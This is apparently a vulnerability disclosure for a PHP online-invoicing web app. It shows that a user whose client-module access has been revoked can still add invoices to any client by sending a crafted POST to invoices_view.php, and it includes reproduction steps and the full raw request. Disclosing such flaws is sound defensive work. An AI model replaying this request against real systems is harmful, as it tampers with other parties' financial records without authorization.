💥 BUG

privilege escalation bug to add invoice to a client .

💥 IMPACT

unprivileged user can add invoice to a client

💥 STEP TO REPRODUCE

1. From admin account goto http://localhost/online-invoice2/app/admin/pageViewMembers.php and add new user called user-B .
Now revoke all acccess from client module for user-B .
So, user-B cant view/edit/create/delete any client.
2. Now goto admin account and add a new client .Lets asume the client id is 4\

3. Now goto user-B account and sent bellow request to add invoice to above client.\

POST /online-invoice2/app/invoices_view.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 337
Origin: http://localhost
Connection: close
Referer: http://localhost/online-invoice2/app/invoices_view.php
Cookie: online_inovicing_system=hjcfmd0ifcgfh9ou7bks4evlaf; 
Upgrade-Insecure-Requests: 1
ACCOUNT: TEST2

csrf_token=98b28bcb96e14bd04c42d361724ea2ae&filterer_client=4&current_view=DV&SortField=&SelectedID=&SelectedField=&SortDirection=&FirstRecord=1&NoDV=&PrintDV=&DisplayRecords=all&code=k444&status=Unpaid&date_dueDay=2&date_dueMonth=7&date_dueYear=2021&client=4&discount=0&tax=0&comments=%3Cbr%3E&invoice_template=&insert_x=1&SearchString=

Here in this request change client parameter value to above client id and a new invoice will be added to above client .
So, user-B dont have any access in client module but can add invoice to any client .